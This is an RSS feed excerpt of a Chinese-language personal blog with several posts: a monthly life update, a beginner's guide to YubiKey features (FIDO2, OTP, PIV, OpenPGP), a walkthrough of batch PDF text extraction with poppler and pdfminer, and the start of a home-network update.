<h2 id="-misc" class="relative group">❓ Misc </h2><p>雖然現在的生活比較沒有被 Deadline 追著跑的感覺，但可能不小心排太多事情要做了，所以還是有一種一直追著很多雜事的感覺，久了有種疲憊感，自從寫完 1 月報報之後就開始放推了。神奇的是當我回去翻我 2 月完成的 Things 項目，又好像跟 1 月差不多，就不知道上個月在瞎忙什麼。</p>
<p>另外值得開心的是，終於訂好 4 月要去 🇹🇭 曼谷 longstay 一個月的機票了。目前還在研究的另外一個目標是，看看能不能順便去一趟 🇻🇳 胡志明市。兩個城市之間的機票不貴，多出來的花費可能會是簽證費和稍微小貴一點點的住宿。受限於目前還不確定有沒有其他人要跟，所以暫時卡著沒有進一步的進度。</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>之前有看到一篇文章在討論寫程式一個很重要的技巧，就是除了 Roadmap 之外，還要搭配 Timeline，來確保整個專案的進度可以隨著時間往前推進，不會被一些其實不是很重要的小 bug 拖住。看到這篇文才發現我的確有種，花了很多時間，但是還是沒有重大進展的感覺。剛好 4 月要出國了，就來重新訂一下 3 月的目標：</p>
<ol>
<li>上架這個 blog：理論上電子報 survey 完應該就沒事了，希望我不會在這件事情上龜毛太久</li>
<li>幫之前寫的記帳程式搭好一個前端：網頁或 App 都好，反正至少要是可以用的產品，這樣我去泰國才能用</li>
<li>解決 AppShelf 天天記憶體爆量的 bug：我已經收了快半年的 email 了，真的是發瘋</li>
</ol>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-february-dump</guid><pubDate>Wed, 01 Mar 2023 12:30:51 +0800</pubDate></item><item><title>Yubikey 硬體金鑰</title><link>https://blog.tomy.me/zh-tw/posts/yubikey/</link><description>邁向無密碼的時代</description><content:encoded><![CDATA[<p>雖然早早就買了 YubiKey 的硬體金鑰，但是礙於之前一直沒有時間好好的給他來研究一下。今天突然想到來玩了一下，但是發現好像有蠻多複雜的細節，所以不如就寫給有需要的人 (a.k.a. 以後的 me XDDDD) 可以參考一下。</p>
<h2 id="-軟體" class="relative group">💾 軟體 </h2><table>
  <thead>
      <tr>
          <th>名稱</th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Yubikey Manager</td>
          <td>功能最完整，裝這個就好</td>
      </tr>
      <tr>
          <td>YubiKey Personalization GUI</td>
          <td>UI 有點醜但跟 Yubikey Manager 有點像。反正目前沒發現只有這個才有的功能，不用裝</td>
      </tr>
      <tr>
          <td>YubiKey PIV Manager</td>
          <td>管理 PIV 功能用的，其實 Yubikey Manager 就有提供了，不用裝</td>
      </tr>
      <tr>
          <td>Yubico Authenticator</td>
          <td>提供網頁登入時的各項功能，細節下面 <a href="#fido2--otp">FIDO2</a> 會講，有需要再裝</td>
      </tr>
      <tr>
          <td><code>pkman</code> CLI</td>
          <td>選配，維護還不錯的 CLI。不想跟 GUI 鬼扯的時候，這個還不錯用</td>
      </tr>
  </tbody>
</table>
<p>不想看那麼多的話，下面這個貼到終端機就對了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">brew install --cask yubico-yubikey-manager
</span></span><span class="line"><span class="cl">pipx install yubikey-manager
</span></span></code></pre></div><h2 id="-pin-碼" class="relative group">*️⃣ PIN 碼 </h2><p><a href="https://support.yubico.com/hc/en-us/articles/4402836718866-Understanding-YubiKey-PINs" target="_blank" rel="noreferrer">參考文檔<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>一把 YubiKey 有 3 種 PIN 碼：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>預設</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>FIDO2</td>
          <td>(無)</td>
      </tr>
      <tr>
          <td>PIV</td>
          <td><code>123456</code></td>
      </tr>
      <tr>
          <td>OpenPGP</td>
          <td><code>123456</code></td>
      </tr>
  </tbody>
</table>
<p>記住幾個簡單的原則：</p>
<ol>
<li>不知道的不用亂動</li>
<li>當你不知道要輸入哪一個的時候，優先試 FIDO2</li>
<li>不用擔心 PIN 碼忘記，反正隨時可以重設。只是原本用來登入的服務要重新設定，當然如果硬體金鑰是唯一登入的方法，就只能上香了 \|/</li>
</ol>
<h2 id="-複習知識" class="relative group">💡 複習知識 </h2><p>在進入功能之前，先複習一下現在的網站登入流程：</p>
<ol>
<li>輸入帳號密碼</li>
<li>如果支援的話，會要求第二驗證方式，有以下幾種
<ol>
<li>簡訊 (SMS) 驗證</li>
<li>電子信箱 (Email) 驗證</li>
<li>OTP 驗證</li>
<li>電話驗證：用綁定的電話打到某個號碼驗證</li>
<li>授權裝置驗證：在已經登入的裝置點確認</li>
<li>Security Key</li>
<li>PassKey</li>
<li>Backup Codes：固定的備用碼</li>
</ol>
</li>
<li>登入成功</li>
</ol>
<p>關於哪些網站支援哪些協定，可以查詢 <a href="https://2fa.directory" target="_blank" rel="noreferrer">2FA Directory<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>礙於那些發明規格的人喜歡咬文嚼字，幫大家整理以下幾個常見的詞：</p>
<h3 id="二步驟驗證" class="relative group">二步驟驗證 </h3><ul>
<li><abbr title="2-factor authentication">2FA</abbr></li>
<li><abbr title="Multi-factor authentication">MFA</abbr></li>
<li>2-step verification</li>
</ul>
<p>指的是整個步驟二，M 只是代表多個的意思</p>
<h3 id="一次性密碼" class="relative group">一次性密碼 </h3><ul>
<li><abbr title="One-Time Password">OTP</abbr></li>
<li><abbr title="Time-based One-Time Password">TOTP</abbr></li>
</ul>
<p>狹義來說指的是步驟二的第 3 項，也就是實作 <a href="https://zh.wikipedia.org/wiki/%E5%9F%BA%E4%BA%8E%E6%97%B6%E9%97%B4%E7%9A%84%E4%B8%80%E6%AC%A1%E6%80%A7%E5%AF%86%E7%A0%81%E7%AE%97%E6%B3%95" target="_blank" rel="noreferrer">TOTP<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 協定的二步驟認證。</p>
<p>廣義來說的話，任何一次性使用的密碼都算，也就是步驟二的 1~3 項。像台灣的銀行常用 OTP 來指刷卡或轉帳時的簡訊或 Email 的驗證碼。只是國外不常這樣用。</p>
<h3 id="通用第二因素" class="relative group">通用第二因素 </h3><ul>
<li><abbr title="Universal 2nd Factor">U2F</abbr></li>
<li><abbr title="Web Authentication">WebAuthn</abbr></li>
<li>FIDO2</li>
</ul>
<p>包含步驟二 6~7 項的協定。如果你使用的是 Chromium 系列的瀏覽器，可以在在網址列輸入<code>chrome://settings/passkeys</code>查詢目前瀏覽器有儲存的 PassKey</p>
<p>FIDO2 是一個專案 (或協定、標準)，<abbr title="Fast IDentity Online">FIDO</abbr> 是負責制定的聯盟 (由眾家廠商組合而成)</p>
<p>如果你懂網頁開發的話，可以參考<a href="https://blog.techbridge.cc/2019/08/17/webauthn-intro/" target="_blank" rel="noreferrer">ArvinH 大大的文章<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>來實作</p>
<h2 id="-功能" class="relative group">✨ 功能 </h2><h3 id="fido2--otp" class="relative group">FIDO2 &amp; OTP </h3><p>可能是這支金鑰最大的用處 xDDDD：在支援硬體金鑰的網站上，可以用來驗證身分。</p>
<p>最近的大新聞是 Apple 終於在 iOS 16.3 和 macOS Ventura 13.2 <a href="https://support.apple.com/zh-tw/HT213154" target="_blank" rel="noreferrer">支援<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>了，而且還一口氣往前推進到要求至少 2 把硬體金鑰，看起來是挺認真研究過這個生態系的。</p>
<p>詳細的設定和使用大概長這樣：</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/PeF0Y8pT7UQ?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>需要注意的是，有的網站 (比如 Microsoft 和 Mailcow) 會在使用硬體金鑰的時候要求進一步驗證，這時候就會用到 FIDO2 PIN 碼，而在登入的同時，網站和帳號也會寫入這支金鑰。至於有哪些帳號登錄在金鑰上，可以在 Yubico Authenticator 中的 WebAuthn 分頁中查看。</p>
<p>Yubico Authenticator 的另外一個功能就是可以把 <a href="#一次性密碼">OTP 密碼</a> 存入金鑰裡，然後這個金鑰在任何裝有 Yubico Authenticator 的地方都可以存取這些 OTP，缺點是最多只支援 32 個帳號。</p>
<p>但我很滿意我目前使用的 1Password，所以 pass</p>
<h3 id="yubico-otp" class="relative group">Yubico OTP </h3><div class="flex rounded-md bg-primary-100 px-4 py-3 dark:bg-primary-900">
  <span class="pe-3 text-primary-400">
    <span class="icon relative inline-block px-1 align-text-bottom"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"/></svg>
</span>
  </span>
  <span class="dark:text-neutral-300"><strong>注意</strong> 這裡的 OTP 指的跟前面段落提到 OTP 不是同一個東西！</span>
</div>

<p>一個 YubiKey 最多可以同時支援 2 種 OTP 密碼，一個是短按、一個長按</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/yubikey/otp.png"
      class="mx-auto my-0 rounded-md"
      alt="Yubikey Manager OTP 截圖"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>可以從下面 4 種來選擇：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>技術文檔</th>
          <th>設定教學影片</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Yubico OTP</td>
          <td><a href="https://docs.yubico.com/yesdk/users-manual/application-otp/yubico-otp.html" target="_blank" rel="noreferrer">Yubico<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td><a href="https://vimeo.com/77862029" target="_blank" rel="noreferrer">Vimeo<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
      </tr>
      <tr>
          <td>Challenge-Response</td>
          <td><a href="https://docs.yubico.com/yesdk/users-manual/application-otp/challenge-response.html" target="_blank" rel="noreferrer">Yubico<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td><a href="https://vimeo.com/94353666" target="_blank" rel="noreferrer">Vimeo<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
      </tr>
      <tr>
          <td>Static password</td>
          <td><a href="https://docs.yubico.com/yesdk/users-manual/application-otp/static-password.html" target="_blank" rel="noreferrer">Yubico<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td><a href="https://vimeo.com/73619336" target="_blank" rel="noreferrer">Vimeo<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
      </tr>
      <tr>
          <td>OATH-HOTP</td>
          <td><a href="https://docs.yubico.com/yesdk/users-manual/application-otp/hotp.html" target="_blank" rel="noreferrer">Yubico<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td><a href="https://vimeo.com/94352853" target="_blank" rel="noreferrer">Vimeo<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
      </tr>
  </tbody>
</table>
<p>目前實作這些協定的地方似乎很有限，或是我看不懂他在幹嘛。</p>
<p>唯一一個我看的懂的是 Static password，我是把裡面的密碼設定為系統管理者密碼，這樣遇到需要輸入系統管理者密碼的時候，可以透過觸碰金鑰的方式來輸入。</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x8in4qr"></script>
<p>需要注意的是，它在輸入之後會自動按 <code>enter/return ⏎</code>，還有就是在一般沒有隱藏輸入的地方 (比方說一般的文字輸入框或是文字編輯器) 也會觸發，所以我是這個功能設定在 slot 2 (長按) 的欄位，避免誤觸。</p>
<h3 id="piv-smart-card" class="relative group">PIV (Smart Card) </h3><p>目前已知最大的功能是用來做 macOS 登入，詳細可以參考<a href="https://support.yubico.com/hc/en-us/articles/360016649059-Using-Your-YubiKey-as-a-Smart-Card-in-macOS" target="_blank" rel="noreferrer">官方文檔<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，可是我目前對使用 Touch ID 很滿意，所以一樣 pass</p>
<h3 id="openpgp" class="relative group">OpenPGP </h3><div class="flex rounded-md bg-primary-100 px-4 py-3 dark:bg-primary-900">
  <span class="pe-3 text-primary-400">
    <span class="icon relative inline-block px-1 align-text-bottom"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"/></svg>
</span>
  </span>
  <span class="dark:text-neutral-300"><strong>注意</strong> 這一 part 的內容會超出一般使用者的使用範圍，如果你不知道什麼是 OpenPGP 可以直接跳過</span>
</div>

<p>詳細的教學可以參考下面這支影片，雖然這支是在 Windows 上操作，但基本上跟在 macOS/Linux 上大同小異。</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/fEftwheNMm8?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>GPG 的開發群真的把安全的規格推的很頂，這個協定的作法本身是把整個 key + certificate 全部都存到金鑰上，讓這些資料跟著金鑰在不同的硬體上穿梭。</p>
<p>但 GPG 對我來說最大的用途就是用來簽署我的 git commit，所以我其實比較喜歡的作法是：把加密後的 key 留在本機上，透過 agent 去向硬體金鑰要求 authenticate，通過之後再一次性的把 key 解密簽署。</p>
<p>所以總而言之，這部分雖然是有點意思，但跟我目前的 workflow 不太合，再度 pass</p>
<h2 id="結論" class="relative group">結論 </h2><p>好像能玩的都玩過一遍了，但是並沒有真的走進我最常使用的那些使用場景，再加上 PassKey 就快要全面上路了，我想不到有了 passkey 之後，硬體金鑰的價值還剩下哪些。</p>
<p>也許等時候到了再來好好研究一下吧。</p>
<p>Q: 這東西會提升安全性嗎？<br>
A: 當你把硬體金鑰設定為唯一的登入方式之後，會。但實際上通常不會這麼做，因為如果不小心把金鑰弄丟了，就 GG 思密達</p>
<p>Q: 推薦買嗎 ?<br>
A: 為了好玩的話可以買，雖然這個價格可以拿去買更好玩的東西。為了安全的話就不用了。</p>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">yubikey</guid><pubDate>Sun, 26 Feb 2023 22:14:33 +0800</pubDate></item><item><title>批次從 PDF 轉檔出文字來</title><link>https://blog.tomy.me/zh-tw/posts/batch-pdf-text-scraping/</link><description>全自動家庭手工代工業開張啦 (?)</description><content:encoded><![CDATA[<p>之前寫信去財政部調了我電子發票載具所有的歷史發票資料，之後要倒進我自己寫的記帳系統裡。可惜經過一輪死纏爛打，他們就是不肯提供 PDF 以外的檔案格式，再加上資料量又很大 (大約 185 頁 A2)，所以要自己想辦法 parse 這些資料。</p>
<h2 id="step-1----確認" class="relative group">Step 1 - ✅ 確認 </h2><p>先用一般的 PDF Reader 打開，用滑鼠選取看看，確定裡面的文字是用文字的方式儲存。如果是影像 (比方說掃描) 的話就不適用這個方法，請左轉 Google 「OCR PDF」這個關鍵字。</p>
<h2 id="step-2----分頁" class="relative group">Step 2 - 📑 分頁 </h2><p>我猜等一下一口氣把文字撈出來的時候格式應該是亂到不行，所以如果我可以一頁一頁處理，那至少可以確定在校對資料的時候，錯誤的最大範圍只會限縮在那一頁。</p>
<p>簡單 Google 一下找到了 <a href="https://superuser.com/a/997424/1232107" target="_blank" rel="noreferrer">StackExchange<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上有人推薦的 CLI 叫 <code>pdfseparate</code>：</p>
<p>在 macOS 上可以用 Homebrew 安裝 <code>poppler</code> 這個 formulae，<code>pdfseparate</code> 會包在這個裡面</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">brew install poppler
</span></span></code></pre></div><p>然後就可以把 PDF 拆成一頁一個檔案</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">pdfseparate document.pdf export/%d.pdf
</span></span></code></pre></div><h2 id="step-3----讀取文字" class="relative group">Step 3 - 🖨️ 讀取文字 </h2><p>接下來要使用 <code>pdfminer</code> 這個 Python CLI 來把文字從 PDF 轉成純文字</p>
<p>先安裝</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">pipx install pdfminer  <span class="c1"># You can use pip if you want</span>
</span></span></code></pre></div><p>通常一般的用法是 <code>pdf2txt.py 1.pdf &gt; 1.txt</code>。可是因為有太多檔案了，所以接下來有三種選項：</p>
<ol>
<li>白痴一點：手動修改數字，頁數少的話可以省事一點</li>
<li>裝逼一點：寫一個 Bash for loop，可是我真的好討厭 shell script</li>
<li>想不到吧：用 modern editor 產生 commands</li>
</ol>
<p>聽起來是不是有點抽象，請看影片：</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x8ii41a"></script>
    <style type="text/css">
      
      .dailymotion-player-root,
      .dailymotion-player-wrapper {
        margin-left: auto;
        margin-right: auto;
        margin-top: 0;
        margin-bottom: 0;
        border-radius: 0.375rem;
      }
    </style>
<h2 id="-完成" class="relative group">🎉 完成 </h2><p>根據頁數的多寡可能會跑很久，反正產生出來的資料就是按頁數編碼的 <code>.txt</code> 檔案了。後面詳細的 parsing 反正不同檔案內容方法也不一樣就不寫啦。</p>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">batch-pdf-text-scraping</guid><pubDate>Wed, 22 Feb 2023 01:12:23 +0800</pubDate></item><item><title>2023 年 1 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-january-dump/</link><description>2023 的起步看起來是平步青雲 (?</description><content:encoded><![CDATA[<p>到底為什麼可以拖了半個月才寫出來 xDDDDDD</p>
<h2 id="-網路設備搭建" class="relative group">🏗 網路設備搭建 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-january-dump/network-arch.jpg"
      class="mx-auto my-0 rounded-md"
      alt="我家的網路設備佈局"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">我家的網路佈局和規格參考</figcaption>
</figure>
</p>
<p>因為之後就要去美國念書了，家裡的一些基礎設施得要在我出去前把大問題都排除，不然之後如果出車禍會變的非常麻煩。</p>
<p>這個月主要的進度是把現有的有線網路重新拉好。原本是想要一路直衝 Cat.7 ，這樣至少 5~10 年不用再管硬體的問題，但後來礙於預算考量，再加上我不在的話大概硬體不會再繼續往上推了，就算了吧。</p>
<p>(反正我媽看起來好像也拉的挺起勁的，我相信時間到了再叫他自己買線重拉應該也沒問題的 吧 嗎</p>
